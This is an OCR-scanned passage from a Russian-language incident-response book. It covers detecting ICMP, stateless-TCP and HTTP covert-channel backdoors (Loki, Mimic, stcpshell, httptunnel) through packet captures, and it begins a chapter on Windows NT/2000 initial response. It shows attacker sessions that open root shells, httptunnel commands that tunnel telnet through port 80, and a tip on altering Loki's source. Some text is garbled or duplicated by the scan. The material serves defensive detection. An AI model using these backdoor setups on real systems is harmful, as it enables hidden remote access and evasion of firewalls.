На рис. 8.4 представлены характеристики трафика Loki, которые отли-
чают его от стандартного трафика ping.
1. Эхо ответы могут начать коммуникацию (а не эхо запрос)
Рис. 8.4.

220
Глава 8
Что может произойти
Возможно, что несколько атакующих будут использовать в сети различные
скрытые каналы ICMP. Вам может понадобиться определить, сколько отдель-
ных атакующих используют канал черного хода. Тогда вы сможете понять
степень риска, связанного с присутствием системы в сети и ее уязвимостью.
Опасности Loki
Доступная бесплатно версия Loki имеет семь встроенных команд. Исполь-
зуемые по умолчанию команды Loki начинаются с символа слэш (/). Види-
те ли вы в этом проблему? Поскольку Loki не разрешает своим пользовате-
лям менять каталоги, то если перед командой Loki стоит /, вы не сможете
выполнять исполнимые программы вне своего пути доступа. Другими сло-
вами, вы не сможете осуществить /run/usr/bin/X11R6/xterm, так как
командная строка начинается с /, и сервер Loki будет пытаться интерпре-
тировать эту команду как внутреннюю команду Loki.
При работе с Loki мы переписали исходный код, чтобы использовать
символ /для предшествования команде, как в !stat и !quit. Простое изме-
нение исходного кода Loki, так что сервер принимает такие команды как
!stat, позволяет нарушителю выполнять программы, которые не находят-
ся в пути доступа системы жертвы.
Где искать доказательства
Пассивный мониторинг сети может использоваться для подтверждения и
наблюдения за несколькими скрытыми каналами и определения подготов-
ки атакующего. Так как мы заинтересованы в перехвате только пакетов
ICMP, то используем следующую команду для минимизации сетевого на-
блюдения и перехвата только пакетов эхо запроса и эхо ответа ICMP:
[root@linux]# asctcpdump.pl  i ethO  s 2048  vv  x ricmp[0] == 8
or icmp[0] == 0'
1) 19:14:43.272021 10.1.1.249 > 10.1.1.248: icmp: echo reply
(ttl 64, id 2253)
2) 4500 0054 08cd 0000 4001 59ea 0a01 01f9 E..T...,@.Y
3) 0a01 01f8 0000 0e51 4b0a 51f5 Ы69 6663
QK.Q..ifc
4) 6f6e 6669 670a 0000 0000 0000 0000 0000 onfig
5) 0000 0000 0000 0000 0000 0000 0000 0000
6) 0000 0000 0000 0000 0000 0000 0000 0000
7) 0000 0000 ....
8) 19:14:43.280450 10.1.1.248 > 10.1.1.249: icmp: echo request
(ttl 64, id 1891)
9) 4500 0054 0763 0000 4001 5b54 0a01 01f8
E.,T.с .@.[T....
10) 0a01 01f9 0800 0837 4b0a 51f5 b265 7468
7K.Q..eth
11) 3020 2020 2020 204c 696e 6b20 656e 6361 0 Link enca
12) 703a 4574 6865 726e 6574 2020 4857 6164 p:Ethernet HWad
13) 6472 2030 303a 3530 3a35 363a 4236 ЗаЗО dr 00:50:56:B6:0
14) 303a 3700
0:7.

Дополнительные методы сетевого наблюдения
221
15) 19:14:43.281228 10.1.1.249 > 10.1.1.248: icmp: echo reply
(ttl 255, id 2254)
16) 4500 0054 08ce 0000 ff01 9ae8 OaOl 01f9 E. .T
17) 0a01 01f8 0000 1037 4b0a 51f5 b265 7468
7K.Q..eth
18) 3020 2020 2020 204c 696e 6b20 656e 6361 0 Link enca
19) 703a 4574 6865 726e 6574 2020 4857 6164 p:Ethernet HWad
20) 6472 2030 303a 3530 3a35 363a 4236 ЗаЗО dr 00:50:56:B6:0
21) 303a 3700
0:7.
22) 19:14:43.281008 10.1.1.248 > 10.1.1.249: icmp: echo request
(ttl 64, id 1892)
23) 4500 0054 0764 0000 4001 5b53 0a01 01f8 E..T.d.,@.[S....
24) OaOl 01f9 0800 82c3 4b0a 51f5 b241 2020
K.Q..A
25) OaOO 2020 2020 204c 696e 6b20 656e 6361 .. Link enca
26) 703a 4574 6865 726e 6574 2020 4857 6164 p:Ethernet HWad
27) 6472 2030 303a 3530 3a35 363a 4236 ЗаЗО dr 00:50:56:B6:0
28) 303a 3700
0:7.
29) 19:14:43.281701 10.1.1.249 > 10.1.1.248: icmp echo reply
(ttl 255, id 2255)
30) 4500 0054 08cf 0000 ff01 9ae7 0a01 01f9 E. .T
31) 0a01 01f8 0000 8ac3 4b0a 51f5 b241 2020
K.Q..A
32) OaOO 2020 2020 204c 696e 6b20 656e 6361 . . Link enca
33) 703a 4574 6865 726e 6574 2020 4857 6164 p:Ethernet HWad
34) 6472 2030 303a 3530 3a35 363a 4236 ЗаЗО dr 00:50: 56: B6:0
35) 303a 3700
0:7.
Различие между этим каналом Loki и первым каналом, который мы рас-
сматривали, состоит в том, что поле последовательности ICMP имеет другое
значение. В первом примере поле последовательности содержит cdab, как
св
й
омер по едо
аельос ICMPдл адого ак
таВэо римр
выд
н
йоужрй
е
с(оеполедоаельосиICMP)соержт
51f5. В
олагаете, ч о
о еам й аакующий,
о
орый размес л
серервстее?Возоо,еОдаооея
яес
орее в бол
й
сте ен разумным редполож
ем, ем
од вержденным фа том
Изу ен Mak file для с одного ода о азывает, ч о 16 б овое п ле
мера последо ел
носиICMPисо зует
пере е ой LOKI_TAG.
Сервер Loki и клиенты Loki ис ол зую э о 16 битовое поле как уникаль-
ый номер тега. Клие ты Loki мо ут обща ься только с серверами Loki, ко
треимеюттакойже16бтовыйте.
Использование тега Loki, распол женно о поле номера последователь
ности ICMP, является грубым методом аут нтификации Атаку щий д жен
пределить это значение во время компиляции, чтобы сервер и клиент оба
имели один и то же те Loki и могли соответственно общаться. Если атаку-
ющий должен встроить серверы Loki в сети, то скорее всего тег Loki должен
оставаться одним и тем же для каждого серв ра. Ин че атакующему нужно
будет выполнять соответствующий клиент Loki для каждой машины жертвы,
с которой он захочет соединиться. Это потребует от атакующего некоторой
записи, отслеживающей, какой тег Loki требуется каждому серверу.

222
Глава 8
Опознание скрытого устройства каналов ICMP
следующего поколения
Теперь вы понимаете методику исследования, необходимую для выявления
скрытых каналов ICMP: ищите что то, что не соответствует стандартному
трафику, ожидайте новые методы скрытого устройства каналов и опреде-
ляйте, является ли ваш подозреваемый достаточно подготовленным для ре-
ализации такого канала коммуникации. В предыдущем разделе вы узнали о
признаках Loki: статичный номер последовательности, необычная полез-
ная нагрузка и то, что сеанс Loki обычно начинается с эхо ответа.
Атакующим потребовалось не слишком много времени, чтобы понять,
что большинство IDS могут обнаружить трафик Loki, замечая статичный
номер последовательности в заголовке ICMP. В тестовой лаборатории ВВС
США хакером "белая шляпа" была разработана утилита скрытого устройст-
ва каналов ICMP следующего поколения. Этот специалист распознал при-
знаки Loki и создал утилиту скрытого канала ICMP с именем Mimic, кото-
рая была лишена большинства признаков Loki.
Соединение клиента Mimic очень похоже на обычный сеанс telnet. В пока-
занном ниже соединении Mimic можно видеть, что атакующий выполняет
команду w, и она показывает одного пользователя, зарегистрированного как
администратор с системной консоли. Однако вы знаете, что атакующий также
имеет доступ к удаленной системе. Неплохо для невидимого черного хода.
[root@homer taps]# ./mimic client.pl
Mimic 1.1
Mimic Connecting to 192.168.0.200Password:
Mimic >w
8:10pm up 7:56, 1 user, load average: 0.00, 0.00, 0.00
USER TTY
FROM
LOGIN© IDLE JCPU PCPU WHAT
root ttyl
12:15pm 3:23m 6.95s 0.01s sh
/usr/X11R6/b
Mimic > /sbin/ifconfig
ethO Link encap:Ethernet HWaddr 00:10:4B:A1:B8:AO
inet addr:192.168.0.200 Beast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:99 errors:0 dropped:0 overruns:0 frame:0
TX packets: 100 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Interrupt;9 Base address:0x300
lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:3924 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
Mimic > whoami
root
Mimic >!quit

Дополнительные методы сетевого наблюдения
223
Чтобы обнаружить, что в сети в качестве черного хода установлена ути-
лита скрытого устройства каналов ICMP следующего поколения, такая как
Mimic, можно использовать пассивное сетевое наблюдение.
Далее следует пример сетевого перехвата соединения клиента Mimic с
сервером Mimic:
1) 22:41:45.399204 192.168.0.210 > 192.168.0.200: icmp: echo request
(ttl 64, id 5526)
2) 4500 0054 1596 0000 4001 e228 c0a8 00d2
E. .Т.. ..#..'(....
3) c0a8 00c8 0800 fe8c 05d2 0001 OfOO defd
4) 7700 0000 0000 0000 0000 0000 0000 0000
w
5) 0000 0000 0000
6) 22:41:45.400878 192.168.0.200 > 192.168.0.210: icmp: echo reply
(ttl 64, id 9876)
7) 4500 0054 2694 0000 4001 d12a c0a8 00c8
E..T&...@..*....
8) c0a8 00d2 0000 e54c 0776 0001 OfOO defd
L.v
9) 4143 4b32 3100 0000 0000 0000 0000 0000
ACK21
10) 0000 0000 0000
11) 22:41:45.408375 192.168.0.210
(ttl 64, id 5527)
12) 4500 0054 1597 0000 4001 e227
13) c0a8 00c8 0800 cfel 05d2 0002
14) 4649 4e7c 4143 4b35 0000 0000
15) 0000 0000 0000
16) 22:41:45.390963 192.168.0.200
(ttl 64, id 9877)
17) 4500 0054 2695 0000 4001 d129
18) c0a8 00d2 0000 c846 0776 0002
19) 2020 383a 3130 706d 2020 7570
20) 3536 2c20 2031
21) 22:41:45.393558 192.168.0.210
(ttl 64, id 5528)
22) 4500 0054 1598 0000 4001 e226
23) c0a8 00c8 0800 8777 05d2 0003
24) 4143 4b32 0000 0000 0000 0000
25) 0000 0000 0000
Существуют многочисленные признаки того, что эти пакеты не следуют
правилам стандартной коммуникации ping: они не имеют определенного
шаблона в содержимом и содержат текст, который выглядит как команды
UNIX. Однако заметим, что статичный номер последовательности, кото-
рый разоблачает трафик Loki, был заменен номером последовательности,
который увеличивается на единицу (см. выделенный полужирным текст в
строках 3, 8, 13,18 и 23).

224
Глава 8
СКРЫТОЕ УСТРОЙСТВО КАНАЛОВ TCP БЕЗ СОСТОЯНИЯ
Так как большинство профессионалов компьютерной безопасности блоки-
руют теперь трафик ICMP, атакующим часто необходимо найти другое
средство передачи для скрытого устройства каналов. Член Pkcrew написал
канал соединения TCP без соединения, называемый stcpshell.c. Хотя автор
CyRaX открыто признает, что это сырой код, который требует исправле-
ний, он является прекрасной начальной точкой для некоторых хитроум-
ных пользователей.
Этот черный ход посылает данные в пакетах TCP без создания соедине-
ния. Не существует пакета SYN для инициирования соединения, и во время
каждого сеанса не задаются никакие флаги TCP. Создатели встроили даже
функцию контрольной суммы, и поэтому данные надежно пересылаются. В
нем отсутствует шифрование и остается огромный след, так как при полу-
чении пакета каждый раз открывается новое соединение. Оно также не
требует ключа или специальной аутентификации для использования серве-
ра. Однако руками умеренно подготовленного кодировщика на языке С эти
недостатки можно легко устранить.
Рассмотрение сеанса TCP без соединения
Stcpshell предоставляет корневую оболочку через канал TCP, не задавая ни-
каких флагов TCP. Имеющая состояние служба IDS должна отметить актив-
ность такого рода, но что происходит, когда инсайдер соединяется с другой
внутренней машиной?
Вот как выглядит stcpshell.c, когда выполняется атакующим на машине с
Linux:
[root@homer mytools]# ./tcpb  с 192.168.0.111 192.168.0.11
Backdoor on non connected/spoofed tcp. Coded by |CyRaX|. cyrax@free mail.it
Members of Packets Knights Crew ! www.programmazione.it/knights
Ruining in client mode. Sending data to 192.168.0.111.
root@hacked.192.168.0.111 # ifconfig
EthO
Link encap:Ethernet HWaddr 00:60:97:CC:8E:8C
inet addr:192.168.0.111 Beast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:70 errors:0 dropped.'O overruns:0 frarne:0
TX packets:39 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Interrupts Base address:0x300
Lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:3924 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
root@hacked.192.168.0.111 # id
uid=0(root) gid=0(root)

Дополнительные методы сетевого наблюдения
225
Распознавание скрытого устройства каналов TCP
без состояния
Атакующий, который имеет в системе доступ уровня команд, может создать
скрытый канал, используя канал команд без состояния.
Как и для других типов скрытого устройства каналов, пассивное сетевое
наблюдение является лучшим инструментом для подтверждения и наблю-
дения за скрытым каналом TCP без состояния. Ниже представлена часть
перехвата пакетов для stcpshell:
1) 01:18:58.709649 207.46.131.137.1234 > 192.168.0.111.4321: .
3232235531:3232235566(35) win 53764 (ttl 255, id 40086)
2) 4500 0037 9c96 0000 ff06 0b5b cf2e 8389 E..7
[....
3) c0a8 006f 04d2 10e1 c0a8 000b 0000 0000 ... о
4) 0000 d204 8956 d204 0000 0000 0000 0000 ....V
5) 0000 0000 6964 0a ....id.
6) 01:18:58.710684 207.46.131.137.1234 > 192.168.0.111.4321: .
3232235531:3232235566(35) win 53764 (ttl 255, id 40086)
7) 4500 0037 9c96 0000 ff06 0b5b cf2e 8389 E..7
[....
8) c0a8 006f 04d2 10e1 c0a8 000b 0000 0000 ..,o.
9) 0000 d204 8956 d204 0000 0000 0000 0000 ....V
10) 0000 0000 6964 0a ....id.
11) 01:18:58.711478 207.46.131.137.4321 > 192.168.0.11.1234: .
2583822336:2583822456(120) win 53764 (ttl 255, id 52925)
12) 4500 008c cebd 0000 ff06 d942 cf2e 8389 E
B....
13) c0a8 000b 10e1 04d2 9a02 0000 0000 0000
14) 0000 d204 f051 d204 0000 0000 0000 0000
Q
15) 0000 0000 7569 643d 3028 726f 6f74 2920 ....uid=0(root)
16) 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root) grou
17) 7073 3d30 2872 6f6f 7429 2c31 2862 696e ps=0(root),1(bin
18) 292c 3228 6461 656d 6f6e 292c 3328 7379 ),2(daemon),3(sy
19) 7329 2c34 2861 646d 292c 3628 6469 736b s),4(adm),6(disk
20) 292c 3130 2877 6865 656c 290a ),10(wheel).
21) 01:18.58.711485 207.46.131.137,4321 > 192.168.0.11.1234:
2583822336:2583822382(46) win 53764 (ttl 255, id 53434)
22) 4500 0042 dOba 0000 ff06 d78f cf2e 8389 E.. В
23) c0a8 000b 10e1 04d2 9a02 0000 0000 0000
24) 0000 d204 c89b d204 0000 0000 0000 0000
25) 0000 0000 454e 445f 4f46 5f50 524f 4345 ....END_0F_PR0CE
26) 5353
SS
Отметим, что каждый пакет не имеет флагов, заданных в заголовке TCP
(строки 1, 6,11 и 21). На первый взгляд можно поинтересоваться, кто пил
деет IP адресом 207.46.1S1.137. Во время написания этой книги ом был
Отметим, что каждый пакет не имеет флагов, заданных в заголовки TCP
(строки 1, 6, 11 и 21). На первый взгляд можно поинтересоваться, кто вла
деет IP адресом 207.46.131.137. Во время написания этой книги он был

226
Глава 8
зарегистрирован в Microsoft.net. Поэтому эта утилита подделывает пакеты
в обоих направлениях, чтобы создать видимость, что они генерируются
Microsoft. Хакеры имеют некоторое чувство юмора.
СКРЫТОЕ УСТРОЙСТВО КАНАЛОВ HTTP
Ранее мы узнали, как Loki туннелирует команды между клиентом и серве-
ром, скрывая коммуникацию в сообщениях ICMP. HTTP (трафик Web) яв-
ляется другим кандидатом для задания скрытого канала, поскольку он стал
таким повсеместным в сетях и может контролироваться только при досту-
пе к ограниченным сайтам, таким как содержащие порнографию или дру-
гой несоответствующий материал.
Исходное условие состоит в использовании действительного трафика
HTTP в качестве агента передачи для коммуникации между скомпромети-
рованной системой и атакующим. Это более сложное решение, чем про-
стое создание сеанса telnet с портом 80. Оно применяется, когда хакер по-
лучил доступ административного уровня на сервере жертве и хочет
настроить скрытый канал, который, обманывая набор правил брандмауэра,
не будет обнаруживаться системой IDS.
Пакет httptunnel содержит программу клиента, используемую атакующи-
ми для общения с программой сервера, принимающей на порте 80 скомп-
рометированной машины. Это соединение состоит из переадресации пор-
та 23 (или любого другого порта; легче всего для этого примера
использовать telnet) на порт 80, и содержит нормальную информацию заго-
ловка HTTP, хоста и cookie.
Серверная сторона, выполняемая на системе жертве, требует комбина-
цию IP адреса места назначения и порта, и порт, на котором будет прини-
мать входящие соединения. В следующей командной строке сервер httptun-
nel настроен на прослушивание порта 80. Затем он пересылает приходящий
на порт 80 трафик на порт 23 (telnet) по адресу локального хоста 127.0.0.1:
[root@pc38_linux]# ./hts  F localhost:23 80
Клиентская сторона требует двух шагов. Первый шаг состоит в конфигу-
рировании клиента httptunnel для прослушивания порта и пересылки его
трафика на удаленную жертву. Первая команда в примере ниже настраива-
ет клиента на прослушивание порта 2323 на системе атакующего и отправ-
ке всего трафика с этого порта на сервер жертвы 172.16.1.33 на порт 80.
Вторая команда, которую вводит атакующий, является сеансом telnet с пор-
том 2323 на его собственной системе. Почему? Потому что теперь сеанс tel-
net будет туннелироваться через клиента httptunnel, при этом сеанс моди-
фицируется таким образом, что представляется как трафик Web, и
посылается жертве, где сервер httptunnel будет пересылать его серверу tel-
net на жертве.
[root@mirkwood tap_binaries]# /htc  F 2323 172.16.1.33:80
[root@mirkwood tap_binaries]# telnet localhost 2323
Trying 127.0.0.1...
Connected to mirkwood.

Дополнительные методы сетевого наблюдения
227
Escape character is '"]'.
Welcome to pc38_linux
Linux Mandrake release 7.0 (Air)
Kernel 2.2.14 15mdkfb on an 1686
login: gumby
Password:
,
[gumby@pc38_linux gumby]$ id
uid=503(gumby) gid=506(gumby) groups=506(gumby)
[gumby@>pc38_linux gumby]$ exit
logout
telnet> quit
Connection closed.
[root@mirkwood attack]#
Мы не может выполнить соединение telnet как администратор, но тра-
фик кажется безобидным сеансом HTTP, и скрытый канал готов. Доступ на
уровне администратора теперь легко получить.
Что может произойти
Атакующий устанавливает сервер httptunnel на скомпрометированной ма-
шине жертве (172.16.1.33 в данном примере) и перенаправляет любой вхо-
дящий на порт 80 трафик службе telnet той же самой жертвы. Затем атакую-
щий запускает клиент httptunnel на своей собственной машине (10.1.1.232)
и соединяется с сервером telnet жертвы через порт 80, заставляя трафик
выглядеть просто входящим запросом Web в сети жертвы.
Где искать доказательства
Это хитроумный черный ход, но при правильном сетевом наблюдении вы
сможете понять, что существует скрытый канал. Ниже частично представ-
лен перехват tcpdump соединения после начального трехходового квити-
рования TCP:
1) 14:29:42.164492 10.1.1.232.4926 > 172.16.1.33.80: Р 1:42(41)
аск 1 win 32120 (nop,nop,timestamp 2701546 163869> (DF)
2) 4500 005d faOe 4000 4006 8772 0а01 01е8 Е..]..@.@.. г....
3) асЮ 0121 133е 0050 е357 f8e1 4e29 dc3e
...! ,>.P.W.
.N).>
4) 8018 7d78 afe9 0000 0101 080a 0029 38ea
.. }x
)8.
5) 0002 801d 4745 5420 2f69 6e64 6578 2e68 ....GET /index.h
6) 746d 6c3f 6372 6170 3d39 3733 3633 3631
tml?crap=97363613
7) 832 2048 5454 502f 312e 310d 0a
82 HTTP/1.1..
8) 4:29:42.165498 172.16.1.33.80 > 10.1.1.232.4926:
ack 42 win 32120 <nop,nop,timestamp 163869 2701546> (DF)
9) 4500 003408b640003f0679f4 асЮ 0121 E. .4. ,@.?.y. . . .!
10 0a01 01e8 0050 133e 4e29 dc3e e357 f90a
P.>N).>.W..
1 8010 7d78 6c9f 0000 01 1 080a 0002 801d ..}x1
2 0029 38ea
.)8.
13) 14:29:42.167772 10.1.1.232.4925 > 172.16.1.33 80: P 63:114(51)
ack 1 win 32120 <nop,nop,timestamp 2701546 163870> (DF)
14) 4500 006/ raOl 4000 4006 8767 0a01 01в8 I . .()..».». g . .

228
Глава 8

Дополнительные методы сетевого наблюдения
229
Это выглядит как действительный трафик HTTP, который обращается к
странице /index.html на Web сервере 172.16.1.33. Пакеты, начинающиеся в
строках 1, 13, 21 и 31, являются частью запроса Web, и они похожи на
Web запрос любого Web сайта. Другие пакеты являются стандартными от-
ветами. До сих пор мы не видели никаких доказательств скрытого канала,
и скорее всего не увидит брандмауэр или система IDS.
Посмотрим более внимательно на некоторый дополнительный трафик,
когда атакующий начал выполнение некоторых команд:
1) 14:29:53.040933 172.16.1.33.80 > 10.1.1.232.4926: Р 382:410(28)
аск 85 win 32120 <nop,nop,timestamp 164944 2702634> (DF)
2) 4500 0050 092d 4000 3f06 7961 асЮ 0121 Е.. Р.  @. ?.уа...!
3) 0а01 01е8 0050 133е 4е29 ddbb e357 f935
P.>N)...W. 5
4) 8018 7d78 8da0 0000 0101 080a 0002 8450 . . }x
P
5) 0029 3d2a 001a 5b67 756d 6279 4070 6333 .)=*..[gumby@pc3
6) 385f 6c69 6e75 7820 6775 6d62 795d 2420 8_linux gumby]$
7) 14:29:55.161003 10.1.1.232.4925 > 172.16.1.33.80: P 286:289(3)
ack 1 win 32120 <nop,nop,timestamp 2702846 165153> (DF)
8) 4500 0037 f a8d 4000 4006 8719 0a01 01e8 E.. 7. . @. @>
9) acIO 0121 133d 0050 e2df 586c 4e52 86a8 ...!.=.P..X1NR..
10) 8018 7d78 efff 0000 0101 080a 0029 3dfe ..>x
)=.
11) 0002 8521 0001 69
...!.
.1
12) 14:29:55.231837 10.1.1.232.4925 > 172.16.1.33.80: P 290:293(3)
ack 1 win 32120 <nop,nop,timestamp 2702853 165161> (DF)
131 4500 0037 fa94 4000 4006 8712 0a01 01e8 E. .7..§.§
14) асЮ 0121 133d 0050 e2df 5870 4e52 86a8 ...! .=.?. .XpNR..
15) 8018 7d78 f4ec 0000 0101 080a 0029 3e05 . . >x )>.
16) 0002 8529 0001 64
...)..d
17) 14:29:55.491002 172.16.1.33.80 > 10.1.1.232.4926: P 423:501(78)
ack 85 win 32120 <nop,nop,timestamp 165186 2702879> (DF)
18) 4500 0082 0944 4000 3f06 7918 асЮ 0121 E.. . .D@.?.y. . . .!
19) 0a01 01e8 0050 133e 4e29 dde4 e357 f935
P.>N)...W.5
20) 8018 7d78 76df 0000 0101 080a 0002 8542 .. }xv
В
21) 0029 3e1f 0200 4b75 6964 3d35 3033 2867 .)>...Kuid=503(g
22) 756d 6279 2920 6769 643d 3530 3628 6775 umby) gid=506(gu
23) 6d62 7929 2067 726f 7570 733t) 3530 3628 mby) groups=506(
24) 6775 6d62 7929 OdOa 5b67 756d 6279 4070 gumby)..(gumby@p
25) 6333 385f 6c69 6e75 7820 6775 6d62 795d c38_linux gumby]$
Отметим строки 5 и 6. Они похожи на командную строку оболочки. И
этом примере атакующий вводит команду id. Мы видим это при проверке
строк 11 и 16. Вывод команды находится в строках с 21 по 25. Эта послед"
вательность в действительности переносится как часть запроса страницы
/index.html из предыдущих пакетов. Соответствует ли данный сеанс пор
мальному трафику HTTP? Существуют некоторые аномалии, позволяющие
идентифицировать это как скрытый канал:
Отметим строки 5 и 6. Они похожи на командную строку оболочки. В
этом примере атакующий вводит команду id. Мы видим это при проверке
строк 11 и 16. Вывод команды находится в строках с 21 по 25. Эта последо
вательность в действительности переносится как часть запроса страницы
/index.html из предыдущих пакетов. Соответствует ли данный сеанс нор
мальному трафику HTTP? Существуют некоторые аномалии, позволяющие
идентифицировать это как скрытый канал:

230
Глава 8
GET /index.html?crap=973636182 HTTP/1.1 в строках 5, 6 и 7 первого
раздела перехваченных данных является действительным запросом.
Однако если проверить более длинный сеанс, мы увидим, что запро-
шенный URL никогда не изменяется.
Посылаемые Web серверу пакеты содержат последовательности
команд, а не запросы изображений или других типов запросов HTTP.
Полезная нагрузка содержит приглашение оболочки UNIX и вывод
команды.
ОБНАРУЖЕНИЕ НЕЗАКОННЫХ СЕРВЕРОВ
Все примеры скрытого устройства каналов в этой главе включают размеще-
ние серверных программ на машине жертве. Очевидно, что при обнаруже-
нии незаконного сервера в сети, сразу возникает вопрос: "Сколько других
машин в сети выполняют незаконные серверы?"
Атакующие следуют своей собственной уникальной методологии. Таким
образом, если будет обнаружена троянская программа SubSeven, слушаю-
щая порт 2222 на одной из машин, можно безопасно предположить, что
любая другая инфицированная троянской программой SubSeven машина в
сети связана с портом 2222. Также, если в сети будет замечен ненормаль-
ный трафик ICMP и наблюдение определяет, что в сети имеется сервер
Loki, то можно предположить, что любой другой сервер Loki в сети будет
отвечать на тот же тег Loki.
Как определить насколько существенна компрометация? Большинство
людей имеют немедленную реакцию на активный просмотр всех своих ма-
шин в поисках индикаторов незаконного сервера, который был найден. В
случае нахождения сервера Loki исследователь может скомпилировать кли-
ент Loki и автоматизировать его соединение с каждой системой в сети. По-
смотрим, почему такой подход может оказаться неправильным.
Вспомним задачу атакующего и будем ожидать, что система жертва имеет
ловушки и обманки. Рассмотрим следующую командную строку, используе-
мую хакером для выполнения сервера Loki.
[root@pc37_linux Loki]# ./Lokid_1001 2>/tmp/.X
Эта строка запускает сервер Loki, перенаправляя стандартные ошибки в
файл с именем /tmp/.X. Перед вами интересный прием атакующего. Ниже
представлен пример вывода ps для просмотра выполняющихся процессов:
[root@pc37_linux Loki]# ps  aux | grep Loki
Root 709 0.0 0.1 872 312 ? S 11:09 0:00 ./Lokid_1001
В реальном мире атакующий достаточно разумен, чтобы назвать клиент
Loki как нибудь иначе, типа xfsd, gpm или именем любого другого процес-
са демона, которые люди не замечают при просмотре выполняющихся про-
цессов. Просматривая вывод, трудно догадаться, что стандартные ошибки
записываются в файл.

Дополнительные методы сетевого наблюдения
231
Если имеется большая сеть, скажем 16000 систем, и сервер Loki найден
на одной машине, то скомпилируйте клиент Loki и просканируйте все дру-
гие машины, чтобы проверить, не сможет ли с кем то соединиться клиент
1 ,oki. Однако если это сделать, атакующий будет знать, что вы соединились
с его сервером Loki. Содержимое файла /tmp/.X до активного сканирова-
ния будет следующим:
[root@pc37_linux Loki]# cat /tmp/.X
L0KI2 route [(c) 1997 guild corporation worldwide]
Lokid: client <1037> freed from list [9]
Lokid: client <1038> freed from list [9]
Затем мы соединяемся через утилиту сканирования Loki:
[root@pc37_linux Loki]# cat /tmp/.X
L0KI2 route [(c) 1997 guild corporation worldwide]
Lokid: client <1037> freed from list [9] /* Плохой парень знает свой PID */
Lokid: client <1038> freed from list [9] /* Это PID ы клиента */
Lokid: client <998> freed from list [9]
Если атакующий снова соединится со своим сервером Loki и просмот-
рит файл /tmp/.X, выделенная полужирным текстом строка предупредит
атакующего, что кто то другой использовал его сервер Loki. Грамотный ха-
кер будет использовать предупреждения такого типа. Используя подходя-
щий пассивный мониторинг и инструментальный анализ, можно быть более
аккуратным при поиске незаконных серверов.
ИТОГИ
Поверьте, что дни, когда можно было обнаружить простые, общедоступ-
ные утилиты, ушли навсегда. Существуют бесчисленные способы, которы-
ми атакующие маскируют намерение своего трафика. Цель этой главы со-
стояла в том, чтобы познакомить с возможными приемами атак будущего.
Пресса постоянно сообщает о нанесении ущерба производительности Web,
распределенных атаках отказа в обслуживании, и детях, которые проникли
на военный сайт и создали серверы IRC. Но не думайте, что в этом состоит
основная часть "зловредной" деятельности.
Полицейский из Нью Джерси сказал однажды "Мы ловим двух темноко-
жих в арендованном автомобиле за наличие у них двух килограммов кокаи-
на в то время как мимо нас в BMW проезжает бизнесмен со 100 килограм-
мами". Идет непрерывная война с наркобизнесом, и правоохранительные
органы по прежнему не могут перехватить миллионы долларов, которые
тратятся на незаконные наркотики. То же самое происходит и с компью
терными преступлениями. Хорошо подготовленные атакующие знают, как
не быть пойманным. С помощью методов, используемых большинством
профессионалов информационных технологий, подходят для поимки только
неопытных преступников.

232
Глава 8
Когда вы ожидаете в сети незаконные серверы или незаконные каналы
коммуникации, пассивное сетевое наблюдение является часто наиболее ра-
зумным и эффективным ответом. Оно предоставляет способ определения
для распространения подозрительной деятельности и для соответствую-
щих систем, взаимодействующих незаконным образом. С такой информа-
цией можно разработать соответствующие контрмеры "следующих дейст-
вий". Кроме того, вы можете наблюдать за деятельностью, не зная лиц,
инициировавших подозрительные соединения.

ЧАСТЬ III
Исследование систем

ГЛАВА 9
Начальное реагирование в
системе Windows NT/2000

236
Глава 9
Начальное реагирование является этапом сбора предварительной инфор-
мации для определения того, происходит ли в системе незаконная, неавтори-
зованная или неприемлемая деятельность. Эта информация, собранная во
время начального реагирования, формирует базис для уровня вашего реаги-
рования. Во время начального реагирования критически важно перехватить
изменчивые доказательства до того, как они будут утеряны. Также критически
важно придерживаться правильных принципов судебной экспертизы и изме-
нять состояние системы как можно меньше. Информация, полученная во вре-
мя реагирования, может вести к административным или судебным действиям.
Одним из первых шагов любого предварительного расследования являет-
ся получение достаточного объема информации для определения соответст-
вующего реагирования. Действия, которые предпринимаются для подтверж-
дения того, что произошел инцидент, варьируются в зависимости от типа
инцидента. Очевидно, что будут выполняться различные действия для конт-
роля за недопустимым перемещением в Web и для определения, что некий
сотрудник крадет файлы из общих файлов другой системы. Необходимо
принимать во внимание всю совокупность обстоятельств прежде чем реаги-
ровать на целевой системе, используя стандартные методы расследования,
описанные в главе 4. Необходимо помнить и повторять слова "всю совокуп-
ность обстоятельств". Начальное реагирование является не только процес-
сом расследования, но и техническим процессом.
В этой главе рассматриваются действия, которые предпринимаются во
время выполнения начального реагирования в системах Windows NT или
Windows 2000 --- используется ли эта система атакующим или была жертвой
атаки. Обсуждение начинается с предварительной подготовки к инциденту и
создания инструментального набора реагирования. Затем вы узнаете, как
собирать реальные рабочие, изменчивые данные, которые являются критиче-
ски важными для исчерпывающего исследования. Кроме того, показан подход
для углубленного оперативного восстановления, где исследуется получение
информации из действующей системы, необходимой для определения все-
го в отношении инцидента (кто, что, когда, где и как).
СОЗДАНИЕ ИНСТРУМЕНТАЛЬНОГО НАБОРА РЕАГИРОВАНИЯ
При начальном реагировании необходимо планировать свой подход для
получения всей информации, не влияя на любые потенциальные доказате-
льства. Поскольку на системе жертве команды будут выполняться с права-
ми администратора, необходимо быть особенно осторожным. Правило но-
мер один для начального реагирования состоит в том, чтобы не разрушить
и не изменить доказательства. Для этого советуем вам предварительно под-
готовить полный инструментальный набор реагирования.

Начальное реагирование в системе Windows NT/2000
_________ 237
ОСТОРОЖНО Во время тяжелых инцидентов может присутствовать аудитория
зевак, наблюдающих с открытым ртом за вашими действиями.
Ваше реаги рование может казаться для них магией. Эти зеваки
